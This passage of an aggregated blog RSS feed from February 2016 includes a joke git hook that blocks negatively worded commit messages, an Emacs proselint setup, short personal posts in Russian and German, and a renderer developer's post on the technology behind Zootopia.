&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;afinn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Afinn&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;text&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;afinn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;score&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;4.0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;  &lt;span class="s2"&gt;"This commit seems to be written very negatively. You might want&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                &lt;span class="s2"&gt;"to overthink it and rewrite it. If you are really, really sure,&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                &lt;span class="s2"&gt;"use&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                &lt;span class="s2"&gt;"  git commit --no-verify&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                &lt;span class="s2"&gt;"to skip this check."&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h1 id="installation"&gt;Installation&lt;/h1&gt;
&lt;p&gt;Install the script by copying it into the local &lt;code&gt;.git/hooks&lt;/code&gt; directory
under the name &lt;code&gt;commmit-msg&lt;/code&gt;. Don’t forget to make the file
executable:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cp sentiment_analysis.py .git/hooks/commit-msg
$ chmod +x .git/hooks/commit-msg
&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id="usage"&gt;Usage&lt;/h1&gt;
&lt;p&gt;The hook will now be executed whenever you create or change a new
commit message. If the sentiment of the message is considered too
negative, the commit will be aborted. This is how an interaction may
look like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ touch Foo
$ git add Foo
$ git commit -m &amp;quot;Your code is crap and you are dumb&amp;quot;
This commit seems to be written very negatively. You might want
to overthink it and rewrite it. If you are really, really sure,
use

  git commit --no-verify

to skip this check.
$ git commit -m &amp;quot;Your code is okayish and you are not completely stupid&amp;quot;
[master 0c97888] Your code is okayish and you are not completely stupid
 1 file changed, 0 insertions(+), 0 deletions(-)
    create mode 100644 Foo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The hook requires a working installation of the cool &lt;a href="https://github.com/fnielsen/afinn"&gt;AFINN sentiment
analysis library&lt;/a&gt;. Thanks for Finn
Årup Nielsen for providing it!&lt;/p&gt;
&lt;h1 id="known-issues--disclaimer"&gt;Known issues &amp;amp; disclaimer&lt;/h1&gt;
&lt;p&gt;The hook cannot detect sarcasm. Also, cleverly-worded insults will not
be understood either. This is obviously provided as a tongue-in-cheek
script—above all, do no harm to your fellow developers.&lt;/p&gt;
&lt;p&gt;Happy developing!&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Sat, 13 Feb 2016 19:21:18 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2016/emo_git_hook/</guid></item><item><title>Долгая дорога домой</title><link>https://rybakov.com/blog/long-way/</link><description>&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="doroga" loop="true" poster="/video/doroga/doroga.jpg"&gt;
      &lt;source src="../video/doroga/doroga.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="dorogabuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="dorogapaused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Там, за стеною, океан.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Sat, 13 Feb 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/long-way/</guid></item><item><title>Proselint via Emacs flycheck</title><link>https://xenodium.com/proselint-via-emacs-flycheck</link><description>&lt;p&gt;Based on &lt;a href="http://unconj.ca/blog/linting-prose-in-emacs.html"&gt;Linting Prose in Emacs&lt;/a&gt;…&lt;/p&gt;
&lt;p&gt;Needs proselint installed:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;pip install proselint
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also needs a flycheck checker defined:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(flycheck-define-checker proselint
  &amp;quot;A linter for prose.&amp;quot;
  :command (&amp;quot;proselint&amp;quot; source-inplace)
  :error-patterns
  ((warning line-start (file-name) &amp;quot;:&amp;quot; line &amp;quot;:&amp;quot; column &amp;quot;: &amp;quot;
            (id (one-or-more (not (any &amp;quot; &amp;quot;))))
            (message) line-end))
  :modes (gfm-mode
          markdown-mode
          org-mode
          text-mode))

(add-to-list 'flycheck-checkers 'proselint)
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 13 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/proselint-via-emacs-flycheck</guid></item><item><title>[Computing] Why I don't like smartphones</title><link>https://www.devever.net/~hl/smartphones</link><description>&lt;p&gt;I don't own a smartphone. I consider there to be numerous issues with them:&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Sat, 13 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/smartphones</guid></item><item><title>Иногда лучше молчать и слушать</title><link>https://rybakov.com/blog/korably/</link><description>&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/_SDI0381s.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;Иногда лучше молчать и слушать океан.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;А был бы прилив, ноги Кристофа были бы в воде.&lt;/li&gt;
&lt;/ul&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Fri, 12 Feb 2016 22:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/korably/</guid></item><item><title>The movement of lizard's tail on the wall of the pool</title><link>https://rybakov.com/blog/lizard/</link><description>&lt;p&gt;Es saß auf der Poolwand eine Eidechse, die hatte ihren Schwanz unter Wasser. Sie bewegte sich nicht, nur das Wasser schwappte auf und ab und es schien, als würde sie mit dem Schwanz wedeln.&lt;br /&gt;
Ich habe das gefilmt, zwanzig Minuten lang, wie die Eidechse ihren Schwanz bewegt, also nicht die Eidechse und nicht den Schwanz, aber es sah ja so aus.
Ich habe das gefilmt, und die Speicherkarte in die Hosentasche getan, weil sie voll war, die Speicherkarte. Die Speicherkarte zerbrach beim Fußballspiel mit Zehnjährigen, aber dafür haben wir ja diese Geschichte.&lt;/p&gt;
&lt;p&gt;Die Eidechse ist nicht mehr da, ich hab nachgeschaut.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Fri, 12 Feb 2016 21:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/lizard/</guid></item><item><title>The Future of Web Development (Part 2)&amp;amp;#58; Full-Stack Automated JavaScript Testing</title><link>http://engineering.widen.com/blog/testing-future-web-stack/</link><description>In my last article, I showed you how to develop a full-stack JavaScript web application using some pretty interesting and futuristic libraries and web specifications. In this follow-up, I'm going to demonstrate how you can write server-side and client-side unit and integration/Selenium tests for that app entirely in JavaScript.</description><author>Train of Thought</author><pubDate>Fri, 12 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">http://engineering.widen.com/blog/testing-future-web-stack/</guid></item><item><title>Clarifying the Server API</title><link>https://june.kim/server-api-clarifier/</link><author>june.kim</author><pubDate>Fri, 12 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/server-api-clarifier/</guid></item><item><title>Software Development and Reality Construction</title><link>https://june.kim/software-development-and-reality-construction/</link><author>june.kim</author><pubDate>Fri, 12 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/software-development-and-reality-construction/</guid></item><item><title>Zootopia</title><link>https://blog.yiningkarlli.com/2016/02/zootopia.html</link><description>&lt;div style="display: none;"&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2 id="table-of-contents"&gt;Table of Contents&lt;/h2&gt;

&lt;div class="tableofcontents"&gt;
    &lt;div class="tableofcontents-row"&gt;
        &lt;div class="tableofcontents-column3"&gt;
            &lt;div class="tableofcontents-content"&gt;
                1. &lt;a href="/2016/02/zootopia.html#2016-02-12-work"&gt;Making Zootopia&lt;/a&gt;&lt;br /&gt;
                2. &lt;a href="/2016/02/zootopia.html#2016-02-12-frames"&gt;Frames from the Film&lt;/a&gt;&lt;br /&gt;
                3. &lt;a href="/2016/02/zootopia.html#2016-02-12-references"&gt;References&lt;/a&gt;&lt;br /&gt;
            &lt;/div&gt;
        &lt;/div&gt; 
        &lt;div class="tableofcontents-column3"&gt;
        &lt;/div&gt;
        &lt;div class="tableofcontents-column3"&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;div id="2016-02-12-work"&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="http://www.disneyanimation.com/"&gt;Walt Disney Animation Studios&lt;/a&gt;’ newest film, &lt;a href="http://www.disneyanimation.com/projects/zootopia"&gt;&lt;em&gt;Zootopia&lt;/em&gt;&lt;/a&gt;, will be releasing in the United States three weeks from today.
I’ve been working at Walt Disney Animation Studios on the the core development team for Disney’s &lt;a href="http://www.disneyanimation.com/technology/innovations/hyperion"&gt;Hyperion Renderer&lt;/a&gt; since July of last year, and the release of &lt;em&gt;Zootopia&lt;/em&gt; is really special for me; &lt;em&gt;Zootopia&lt;/em&gt; is the first feature film I’ve worked on.
My actual role on &lt;em&gt;Zootopia&lt;/em&gt; was fairly limited; so far, I’ve been spending most of my time and effort on the version of Hyperion for our next film, &lt;a href="http://www.disneyanimation.com/projects/moana"&gt;&lt;em&gt;Moana&lt;/em&gt;&lt;/a&gt; (coming out November of this year).
On &lt;em&gt;Zootopia&lt;/em&gt; I basically only did support and bugfixes for &lt;em&gt;Zootopia&lt;/em&gt;’s version of Hyperion (and I actually don’t even have a credit in &lt;em&gt;Zootopia&lt;/em&gt;, since I hadn’t been at the studio for very long when the credits were compiled).
Nonetheless, I’m incredibly proud of all of the work and effort that has been put into &lt;em&gt;Zootopia&lt;/em&gt;, and I consider myself very fortunate to have been able to play even a small role in making the film!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_01.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_01.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Zootopia&lt;/em&gt; is a striking film in every way.
The story is fantastic and original and relevant, the characters are all incredibly appealing, the setting is fascinating and immensely clever, the music is wonderful.
However, on this blog, we are more interested in the technical side of things; luckily, the film is just as unbelievable in its technology.
Quite simply, &lt;em&gt;Zootopia&lt;/em&gt; is a breathtakingly beautiful film.
In the same way that &lt;em&gt;Big Hero 6&lt;/em&gt; was several orders of magnitude more complex and technically advanced than &lt;em&gt;Frozen&lt;/em&gt; in every way, &lt;em&gt;Zootopia&lt;/em&gt; represents yet another enormous leap over &lt;em&gt;Big Hero 6&lt;/em&gt; (which can be hard to believe, considering how gorgeous &lt;em&gt;Big Hero 6&lt;/em&gt; is).&lt;/p&gt;

&lt;p&gt;The technical advances made on &lt;em&gt;Zootopia&lt;/em&gt; are far beyond what I can go into detail here since I don’t think I can describe them in a way that does them justice, but I think I can safely say that &lt;em&gt;Zootopia&lt;/em&gt; is the most technically advanced animated film ever made to date.
The fur and cloth (and cloth on top of fur!) systems on &lt;em&gt;Zootopia&lt;/em&gt; are beyond anything I’ve ever seen, the sets and environments are simply ludicrous in both detail and scale, and of course the shading and lighting and rendering are jaw-dropping.
In a lot of ways, many of the technical challenges that had to be solved on &lt;em&gt;Zootopia&lt;/em&gt; can be summarized in a single word: complexity.
Enormous care had to be put into creating believable fur and integrating different furry characters into different environments &lt;a href="https://dl.acm.org/doi/10.1145/2936733.2936736"&gt;[Burkhard et al. 2016]&lt;/a&gt;, and the huge quantities of fur in the movie required developing new level-of-detail approaches &lt;a href="https://dl.acm.org/citation.cfm?id=2927466"&gt;[Palmer and Litaker 2016]&lt;/a&gt; to make the fur manageable on both the authoring and rendering sides.
The sheer number of crowds characters in the film also required developing a new crowds workflow &lt;a href="https://dl.acm.org/doi/10.1145/2897839.2927467"&gt;[El-Ali et al. 2016]&lt;/a&gt;, again to make both authoring and rendering tractable, and the complex jungle environments seen throughout most of the film similarly required new approaches to procedural vegetation &lt;a href="https://dl.acm.org/citation.cfm?id=2927469"&gt;[Keim et al. 2016]&lt;/a&gt;.
Complexity wasn’t just a problem on a large scale though; &lt;em&gt;Zootopia&lt;/em&gt; is also incredible rich in the smaller details.
&lt;em&gt;Zootopia&lt;/em&gt; was the first movie that Disney Animation deployed a flesh simulation system on &lt;a href="https://dl.acm.org/citation.cfm?id=2927390"&gt;[Milne et al. 2016]&lt;/a&gt; in order to create convincing muscular movement under the skin and fur of the animal characters.
Even individual effects such as scooping ice cream &lt;a href="https://dl.acm.org/citation.cfm?id=2927445"&gt;[Byun et al. 2016]&lt;/a&gt; sometimes required innovative new CG techniques.
On the rendering side the Hyperion team developed a brand new BSDF for shading hair and fur &lt;a href="https://onlinelibrary.wiley.com/doi/abs/10.1111/cgf.12830"&gt;[Chiang et al. 2016]&lt;/a&gt;, with a specific focus on balencing artistic controllability, physical plausibility, and render efficiency.
Disney isn’t paying me to write this on my personal blog, and I don’t write any of this to make myself look grand either.
I played only a small role, and really the amazing quality of the film is a testament to the capabilities of the hundreds of artists that actually made the final frames.
I’m deeply humbled to see what amazing things great artists can do with the tools that my team makes.&lt;/p&gt;

&lt;div id="2016-02-12-frames"&gt;&lt;/div&gt;

&lt;p&gt;Okay, enough rambling. Here are some stills from the film, 100% rendered with Hyperion, of course. Go see the film; these images only scratch the surface in conveying how gorgeous the film is.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_03.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_03.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_13.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_13.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_14.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_14.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_02.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_02.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_04.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_04.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_05.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_05.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_40.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_40.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_06.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_06.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_07.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_07.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_16.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_16.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_08.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_08.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_10.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_10.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_11.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_11.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_12.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_12.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_09.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_09.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_33.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_33.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_15.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_15.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_17.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_17.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_18.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_18.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_41.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_41.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_39.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_39.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_19.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_19.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_20.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_20.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_21.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_21.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_31.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_31.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_22.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_22.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_27.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_27.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_23.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_23.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_35.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_35.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_36.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_36.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_37.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_37.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_24.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_24.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_25.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_25.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_28.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_28.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_29.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_29.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_32.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_32.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_34.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_34.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_30.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_30.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_38.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_38.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_26.jpg"&gt;&lt;img alt="" src="https://blog.yiningkarlli.com/content/images/2016/Feb/zoot_26.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;All images in this post are courtesy of and the property of Walt Disney Animation Studios.&lt;/p&gt;

&lt;div id="2016-02-12-references"&gt;&lt;/div&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;

&lt;p&gt;Nicholas Burkard, Hans Keim, Brian Leach, Sean Palmer, Ernest J. Petti, and Michelle Robinson. 2016. &lt;a href="https://dl.acm.org/doi/10.1145/2936733.2936736"&gt;From Armadillo to Zebra: Creating the Diverse Characters and World of &lt;em&gt;Zootopia&lt;/em&gt;&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2016 Production Sessions&lt;/em&gt;. Aritcle 24.&lt;/p&gt;

&lt;p&gt;Dong Joo Byun, James Mansfield, and Cesar Velazquez. 2016. &lt;a href="https://dl.acm.org/citation.cfm?id=2927445"&gt;Delicious Looking Ice Cream Effects with Non-Simulation Approaches&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2016 Talks&lt;/em&gt;. Article 25.&lt;/p&gt;

&lt;p&gt;Matt Jen-Yuan Chiang, Benedikt Bitterli, Chuck Tappan, and Brent Burley. 2016. &lt;a href="https://onlinelibrary.wiley.com/doi/abs/10.1111/cgf.12830"&gt;A Practical and Controllable Hair and Fur Model for Production Path Tracing&lt;/a&gt;. &lt;em&gt;Computer Graphics Forum (Proc. of Eurographics)&lt;/em&gt; 35, 2 (May 2016), 275-283.&lt;/p&gt;

&lt;p&gt;Moe El-Ali, Joyce Le Tong, Josh Richards, Tuan Nguyen, Alberto Luceño Ros, and Norman Moses Joseph. 2016. &lt;a href="https://dl.acm.org/doi/10.1145/2897839.2927467"&gt;&lt;em&gt;Zootopia&lt;/em&gt; Crowd Pipeline&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2016 Talks&lt;/em&gt;. Article 59.&lt;/p&gt;

&lt;p&gt;Hans Keim, Maryann Simmons, Daniel Teece, and Jared Reisweber. 2016. &lt;a href="https://dl.acm.org/citation.cfm?id=2927469"&gt;Art-Directable Procedural Vegetation in Disney’s &lt;em&gt;Zootopia&lt;/em&gt;&lt;/a&gt;. In &lt;em&gt;ACM SIGGRAPH 2016 Talks&lt;/em&gt;. Article 18.&lt;/p&gt;

